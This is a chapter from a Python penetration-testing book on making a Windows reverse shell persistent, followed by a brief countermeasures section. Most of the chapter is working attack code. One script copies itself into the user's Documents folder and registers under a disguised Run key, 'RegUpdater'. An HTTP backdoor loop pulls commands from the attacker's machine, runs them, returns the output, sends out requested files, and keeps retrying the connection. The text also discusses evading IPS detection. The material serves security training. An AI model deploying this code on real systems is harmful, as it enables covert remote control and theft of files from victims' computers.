Maintaining access is a very important phase of penetration testing. Let's assume that our target has run our shell and all things are going fine. Then suddenly, the target just turned off the computer. So, in this case, we'll lose everything. So, the key point here is that we need to survive after a reboot or a shutdown by the target machine. Now, before proceeding any further, some customers prohibit any modification to the target machine, so you've got to make sure you set the right expectations with your customer before proceeding any further.

If the modification is allowed, then we have three phases of execution as given here:

  1. First, we'll copy ourselves in a different location and we are doing that just in case our target deletes the shell file; so this copy is a backup. In this phase, two parameters should be identified. First, the source path, which is the directory where our shell exists or, in other words, the current working directory. The second parameter is the destination path; here it is the Documents folder. 

Note

Since each PC has a different username, we'll have to find this out as we don't know the username profile that was on our target previously.

  1. In the second phase, after copying our shell into the Documents folder or Documents directory, we need to add a registry key and point it out to the copied file in the Documents folder. Keep in mind that the first and second phases should only run once after our backdoor gets installed on the target machine for the first time.
  2. The third phase is to start our reverse shell without repeating the preceding 2 phases.

Since we don't know the current working directory or user profile, we've got to figure it out in the first place. This will happen in the system reconnaissance phase.

Now, to break down the workflow for our persistence shell, take a look at this simple flowchart:

Logically, we'll start with the system reconnaissance, Sys Reconn, phase and the output of this phase will include two things. First, we will discover the current working directory of our shell, and find out the user profile. The second output should be the destination path. Next, we need to determine whether we are running for the first time on the target machine. Now, you probably are wondering how can we do that. Well, thanks should go to the OS library for simplifying the task for us. To achieve this, we will simply check whether our script exists in the destination path or not. If it exists, then this is not the first time we are on the target side since we have already done the first two phases. So, we will skip phases 1 and 2, and fire up our shell.

However, if this is the first time we have run on the target side, we will copy ourselves to the destination path, which is what we do in phase 1. Then, we add a new registry key pointing to this location, which is phase 2 here. Finally, we need to make sure that we get our connection back to the Kali server. In two upcoming sections, you'll see everything in action to provide more clarity on this concept. For ease of understanding, we'll break the coding part into two parts. In the first part, we will make  putty.exe persistent, and in the second part we will wrap up and integrate the persistent script with our previous HTTP reverse shell.

Making putty.exe persistent

In this section, we'll make the putty.exe program persistent. You can search on Google and download PuTTY software for free. As we explained earlier, our script will start by doing a system reconnaissance, and the output of this phase will either be the current working directory or the destination of the user profile.

Now, let's translate this phase into a block of code as shown here—these lines will perform the reconnaissance phase for us:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2

# Persistence

import os # needed for getting working directory
import shutil # needed for file copying
import subprocess # needed for getting user profile
import _winreg as wreg # needed for editing registry DB


# Reconn Phase

path = os.getcwd().strip('/n') #Get current working directory where the backdoor gets executed, we use the output to build our source path

Null,userprof = subprocess.check_output('set USERPROFILE', shell=True).split('=')
#Get USERP ROFILE which contains the username of the profile and store it in userprof variable , we use the output to build our destination path
#Other way to discover the userprofile is via os.getenv('userprofile') , both will give the same result 

destination = userprof.strip('\n\r') + '\\Documents\\' +'putty.exe'
#build the destination path where we copy your backdoor - in our example we choosed C:\Users\<UserName>\Documents\



# First and Second Phases


if not os.path.exists(destination): # this if statement will be False next time we run the script because our putty.exe will be already copied in destination 

    #First time our backdoor gets executed
    #Copy our Backdoor to C:\Users\<UserName>\Documents\
    shutil.copyfile(path+'\putty.exe', destination)


    key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run",0,
                         wreg.KEY_ALL_ACCESS)
    wreg.SetValueEx(key, 'RegUpdater', 0, wreg.REG_SZ,destination)
    key.Close()
    #create a new registry string called RegUpdater pointing to our
    #new backdoor path (destination)

#If the script worked fine, out putty.exe should be copied to C:\Users\<UserName>\Documents\ and a new registry key called 'RegUpdater' should be created
#and pointing to C:\Users\<UserName>\Documents\putty.exe 

The os.getcwd() function will get the current working directory for us.

Now, on the Desktop we make a folder named Persistence with the putty.exe that we downloaded for this section and the Presistance.py script shown previously.

Let's see the output of the os.getcwd() line using the Python interactive shell or the Python interactive window:

  1. Open Command Prompt and navigate to the current working directory, which is Persistence. Start a Python interactive mode.
  2. Execute import os and print os.getcwd().
  1. We get the current working directory here for our script. This result will be stored on the path variable:

Looking back into the Persistence.py script, we invoke set USERPROFILE into the subprocess and use this step to grab the USERPROFILE name. Based on this, we can build our destination path, which is the Documents folder.

Enter the preceding set USERPROFILE variable into the Command Prompt. The output will be a little noisy, so we will split the output and store the second part in a variable called userprof. The splitting criterion or parameter is based on the = sign. Based on this, we will split the output into two sections. The second section will be stored in a variable called userprof. Once we know this information, we can build our destination path, which is the Documents folder.

We append Documents and the putty.exe string to have the destination's absolute path. Notice that the <UserName> here is not unknown anymore. At this point, we have accomplished our reconnaissance phase successfully. Moving on to check whether it's the first time that we have landed on this computer, we'll do this trick via an OS function called path.exists(). If putty.exe does not exist in the Documents folder, this means that it is the first time we are running our script here because the next time PuTTY will be copied, and the result of this if statement, if not os.path.exists(destination):, will be false. Since this is our first time, we will copy  putty.exe, which is the source variable.

Next, we will add a registry key in the user space. Note that we used a user space, not a machine space, on purpose. By using the user space, our script will work, even if we don't have admin privileges. We've named the registry key string RegUpdater (you can change it later to anything else) and point its value to our final destination. Here, we don't have a shell; it's just putty.exe. So, this part will be discussed in the next section. Before running this script, let's verify that we've got nothing in the registry database related to our script. Go to the Registry Editor by searching regedit at Windows Start, and our path will be Computer\HKEY_CURRENT_USER|Software\Microsoft\Windows\CurrentVersion\Run, as shown at the bottom of the following screenshot, which doesn't have anything in it now other than the (Default) entry:

Now, navigate to the Documents folder and ensure that there is nothing left to be done. Lastly, make sure that the PuTTY software itself is functional by opening it directly.

We'll run the script right now. If we do not get an exception or error, we'll verify the database of the registry. You'll notice that we've got our registry key pointing to this directory in Documents and also PuTTY has been copied to the Documents directory:

Now, close everything and restart VirtualBox. Once we boot our machine, if everything is working fine, we should see that putty.exe has been executed and the PuTTY window should pop up.

In the next section, we will make our HTTP reverse shell more intelligent and perform all of these steps within a built-in function.

Making a persistent HTTP reverse shell

In this section, we will make our HTTP reverse shell, which we coded earlier. Then, we will export it to EXE, and give it a try and test it. Now, almost all of the hard work is done already and at this point you should be familiar with every part of the code.

So for a quick recap, what we've done here is change putty.exe to Persistence.exe, which will be our EXE filename. The destination part will be the same, that is, the Documents folder. Finally, we start our HTTP reverse shell as usual. 

The setup file here will be as follows:

# py2exe download link: http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/

# Persistence Setup

from distutils.core import setup
import py2exe , sys, os



sys.argv.append("py2exe")
setup(
    options = {'py2exe': {'bundle_files': 1}},

    windows = [{'script': "Persistence.py"}], 
    zipfile = None,

)

Let's try and export this code to EXE and the name here will be Persistence. Once it's done, it should be in the dist folder. Now, we will test it on a non-admin account just to show that no part on our shell requires admin privileges:

  1. From Control Panel, create a standard user.
  2. Create a quick password.
  3. Copy the persistence file to C:; so we can grab that file from the nonstandard user once we log in to that account.
  4. Log off and log in with the new standard account.
  5. Find the Persistence file and copy it on the desktop.
  6. As usual, before running that shell, verify that we've got nothing in the registry database. This also applies for the Documents folder.
  7. Set up our listener on the Kali side, that is, run our HTTP server.
  8. Once done, notice that the registry key has been added successfully and at the end our file was able to find out the username and copy itself to the Documents folder successfully.
  1. Let's verify that our shell is working as expected. Start the Task Manager on the Windows machine.
  2. Let's start by running ping 10.0.2.15 at the server side, which is the IP address of the Kali machine.
  3. Check the arp table on the Windows side with arp -a and ensure that these commands are working fine.
  4. After successfully terminating the process, we will delete the Persistence.exe file assuming that our target has deleted the shell file and restarted the client machine.
  5. Log in again and, if you can see the shell on the Kali machine, we've been successful with our task.
 

Tuning the connection attempts


In all our previous sections, we have assumed that the attacker and the target machine are in sync with time. This means that our server was up and listening all the time. Now, the question is: What happens if the attacker machine was offline for some reason or the connection did not happen properly? Well, our backdoor on the client side will crash and at the same time give a pop up as an error message and dump a text file indicating an exception error.

Currently, our Kali machine is not listening on any port. So, if the attacker initiates a TCP SYN to make a connection with us, now, since the port is closed, our Kali machine will reply with a TCP RST. Now, let's have a quick look at the packet level: 

  1. Enable Wireshark on the attacker machine by executing sudo wireshark and you can see that our script is not running there
  2. Start a new live capture
  3. Set the filter to TCP
  4. Log in on the Windows machine
  5. Since we are not listening to port 80, we are replying  with TCP RST, as you can see in the following screenshot:

Also, on the target side, our script will crash and throws away an exception or log message. Navigate to the log file and you'll see that it says connection aborted because the target machine actively refused it, as shown in the following screenshot:

Log in with the admin account, where we have the Python compiler. So we'll fix this issue by creating an infinite loop with an exception handler, as shown here:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn https://jo.linkedin.com/in/python2

# Tunning

import os
import shutil
import subprocess
import _winreg as wreg

import requests 
import time

...

#Last phase is to start a reverse connection back to our kali machine
import random
def connect():
    while True: 

        req = requests.get('http://10.0.2.15')
        command = req.text

        if 'terminate' in command:
            return 1 

        elif 'grab' in command:

            grab,path=command.split('*')
            if os.path.exists(path):
                url = 'http://10.0.2.15/store'
                files = {'file': open(path, 'rb')}
                r = requests.post(url, files=files)
            else:
                post_response = requests.post(url='http://10.0.2.15', data=
                                          '[-] Not able to find the file !' )

        else:
            CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() )
            post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() )
    time.sleep(3)


while True:
    try:
        if connect()==1:
                break
    except:
        sleep_for = random.randrange(1,10)
        time.sleep( sleep_for )
        #time.sleep( sleep_for ) #sleep for a random time between 1-10 minutes
        pass

As you can see, a new function called connect() is added to the script. So, using an exception handler, whatever the reason may be, if we get an exception for initiating the connection, we'll sleep for some random time between 1 to 10 seconds, and then try to connect again. In a real-world scenario, you've got to be more patient and make it from 1 to 10 minutes. In the end, we pass the exception instead of raising it here. Now, the question is: How to terminate the process, as we have two infinite loops? Since the single break command won't do the job for us, the trick here is, if we terminate, then we will break the whole function and retain a value of 1. And if the connection function retains the value of 1, then we will break the second loop, which will terminate the process eventually.

Now, let's quickly try and test this modification:

  1. As we've done earlier, export the script to EXE
  2. Ensure that the Documents folder and the registry key are empty
  3. Double-click on Persistence.exe from the dist folder and run the script

And once we run our script here, notice that the target keeps trying to reach us until we run our server and the connection attempts here will be anywhere between 1 to 10 seconds, as shown in the following screenshot:

Now, once we start our listener on the server side, we have completed three-way handshakes and got the GET request from our target, as shown in the following screenshot:

Check whether the registry key is there and whether the script has copied itself to Documents. So, the last thing to test is whether the termination process is working or not. Ping 10.0.2.15 and perform a terminate. You can see that Persistence.exe is gone from the Windows Task Manager.

 

Tips for preventing a shell breakdown


As we have explained earlier, We created a shell by creating a subprocess and passing the commands to this subprocess. Now, the point is that some commands cannot work properly using this technique, such as the cls and clear commands, both of which will not work in a shell. Now, for instance, let's say that we were able to get a shell to the client PC and later on we discovered some kind of Telnet or FTP server connected on the same internal network. Unfortunately, we cannot use the built-in Telnet client in the operating system from our shell and this is because once we do so, the server will prompt us with a username and password; this is called the interactive method and the shell will fail to handle these types of interaction.

One solution is to use a special Python library called Pexpect. Pexpect allows your script to interact with an application just as if a human were typing these commands. Now, last but not least, always test the command locally in a VirtualBox before sending it to your target.

There are couple of points to mention here. First, we have a problem with clear text. Now, all our traffic and file transfer was in clear text. This means that any IPS or network analyzer will easily pick up our commands and may block that connection or at least raise a flag to the system or the SOC team. Now, in Chapter 4, Catch Me If You Can!, we will address this point by building a custom XOR encryption to encrypt all our traffic between the attacker and the target machine.

The second point is: What if the hacker IP address was dynamically changed? Let's say that the hacker is behind an ADSL or a proxy, where each time he connects to the internet his IP address will change. Remember that we configured our target to connect to a fixed IP address and eventually the connection will fail since that IP address will not be valid anymore.

 

Countermeasures


In this section, we will see how we can protect ourselves from the attacks we explained in this chapter. Now, if we think about it for a second: How could the attacker reach our internal host to begin with? Well, we rely on a social engineering attack along with a client-side attack to make it happen. The main key defense here is to start by securing people as they are the weakest points in the whole system. So you've got to start securing your staff on a regular basis with some management enforcement. Next, you should never rely on antivirus software, a sandbox, or VMware, as modern malware has built-in mechanisms to protect itself from being detected. Also, you should stay away from any suspicious software, especially cracked files. Before you install any software,if it was a legitimate software, verify file integrity using MD5 or the sha1 algorithm. If possible, use Data Leaking Prevention (DLP) to detect any file transfer on the endpoint or in the network transit path. Also, as a best practice, you can install something called Host-Based Intrusion Detection System (HIDS) to collect the operating system logs and notice any modification that is happening on the operating system logs. If possible, create a whitelist, and limit which process is allowed to run on the operating system. During the security awareness session, always inform nontechnical people to report any phishing email or suspicious files to the network security team or to the security operator or analyst.

 

Summary


In this chapter, we started by preparing our attacker and target machines, and then proceeded to learn and code TCP and an HTTP reverse shell. For each of these reverse shells, we looked into data exfiltration and exporting the Python script into .exe, which made the attack independent of the Python compiler. We learned how to make the connection persistent. We also looked into tuning connection attempts and countermeasures to prevent the attacks we learned about.

In the next chapter, we'll cover DDNS, interactive Twitter, countermeasures, replicating Metasploit screen capturing, target directory navigation, and integrating low-level port scanners.

About the Author

  • Hussam Khrais

    Hussam Khrais is a senior security engineer, GPEN, and CEHHI with over 7 years of experience in penetration testing, Python scripting, and network security. He spends countless hours forging custom hacking tools in Python. He currently holds the following certificates in information security:
    GIAC Penetration Testing (GPEN)
    Certified Ethical Hacker (CEH)
    Cisco Certified Network Professional - Security (CCNP Security)

    Browse publications by this author
Book Title
Access this book, plus 7,500 other titles for FREE
Access now